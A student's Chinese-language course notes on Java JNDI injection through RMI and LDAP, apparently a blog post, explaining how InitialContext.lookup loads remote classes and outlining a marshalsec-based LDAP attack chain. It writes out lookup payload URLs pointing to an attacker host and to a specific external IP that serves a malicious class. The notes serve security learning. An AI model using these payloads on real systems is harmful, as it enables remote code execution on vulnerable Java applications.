小迪web自用笔记37

jndi,它是一个接口,可以实现对象与服务的调用。

rmi ldap利用

ingection

可以利用这个接口远程调用功能。

这两个协议最重要↓

Javax.Naming.Initialcontext.lookup()专门实现jndi注入

这是过程↑

这是Java JNDI注入漏洞的演示代码,基于IntelliJ IDEA开发环境编写,以下是详细解读:

  1. 技术组件
  • 核心类: javax.naming.InitialContext ,是Java命名与目录接口(JNDI)的核心类,用于访问命名和目录服务(如RMI、LDAP)。

  • 协议调用:通过 lookup 方法发起远程服务调用,示例中包含

  • RMI协议: rmi://47.94.236.117:1099/Test

  • LDAP协议: ldap://47.94.236.117:1389/nx5qkh

  1. 漏洞原理

当代码执行 lookup 时,会远程加载并执行指定地址的class文件(如 nx5qkh 对应的恶意类)。这是JNDI注入漏洞的核心逻辑------攻击者可通过控制远程类的内容,实现恶意代码注入执行。

  1. 场景用途

该代码常用于Java安全漏洞(如Log4j2漏洞)的原理演示,帮助理解"如何通过JNDI远程引用执行恶意代码",是Web安全教学、漏洞研究中的典型案例。

要诱导加载恶意类,核心是利用JNDI支持的远程协议(如RMI、LDAP)的"远程类加载"能力,具体流程如下:

  1. 协议的作用

RMI、LDAP是JNDI支持的远程协议,它们允许通过URL远程引用并加载类。攻击者正是利用这一特性,将恶意类的地址嵌入到JNDI的 lookup 参数中,诱导目标应用主动去远程加载并执行恶意类。

  1. 攻击流程(以LDAP为例)

步骤 操作 技术细节

1 搭建恶意LDAP服务 用 marshalsec 工具启动LDAP服务,配置它将请求重定向到托管恶意类的HTTP服务器(如 http://攻击者IP/恶意类.class

2 构造恶意JNDI URL 生成包含LDAP重定向地址的URL,如 ldap://攻击者IP:1389/恶意类标识

3 诱导目标执行 让目标应用的JNDI代码执行 new InitialContext().lookup("ldap://攻击者IP:1389/恶意类标识")

4 远程加载恶意类 目标应用通过LDAP协议发起请求,被重定向到HTTP服务器下载并执行 恶意类.class ,从而触发攻击

  1. RMI协议的类似逻辑

RMI协议的攻击流程与LDAP类似:攻击者搭建恶意RMI服务,将恶意类的地址注册到RMI服务中,当目标执行 lookup("rmi://攻击者IP/恶意类标识") 时,会远程加载并执行恶意类。

简单来说,协议是"运输通道"------RMI、LDAP协议负责将"加载恶意类"的指令传递给目标应用,最终实现恶意代码的注入执行。

这个漏洞有版本限制。

Fastjson

黑盒测试可以看报错回显

调用类中的方法。

这节课听着懵懵的。

相关推荐
逻极5 天前
Spec-Kit 实战指南:从零到一构建“照片拖拽相册”Web App
人工智能·ai·agent·ai编程·web app
weixin_307779136 天前
AWS Elastic Beanstalk 实现 Java 应用高可用部署指南
java·开发语言·云计算·aws·web app
weixin_307779137 天前
用Python和FastAPI构建一个完整的企业级AI Agent微服务脚手架
python·fastapi·web app
星光一影7 天前
打车/网约车、代驾、顺风车/拼车、货运、租车等多种出行服务的一站式解决方案
mysql·微信小程序·php·uniapp·html5·web app
CS Beginner10 天前
【IDEA】记录webapp下创建相同目录的一次错误
java·intellij-idea·web app
爱知菜12 天前
在Azure webapp中搭建 基于chroma的 RAG agent
chroma·web app
2401_885405511 个月前
定位守护童年,科技构筑安全屏障
科技·物联网·安全·小程序·宠物·web app·智能手表
合作小小程序员小小店1 个月前
web开发,学院培养计划系统,基于Python,FlaskWeb,Mysql数据库
后端·python·mysql·django·web app
牢七1 个月前
小迪web自用笔记59
web app
牢七1 个月前
小迪Web自用笔记58
web app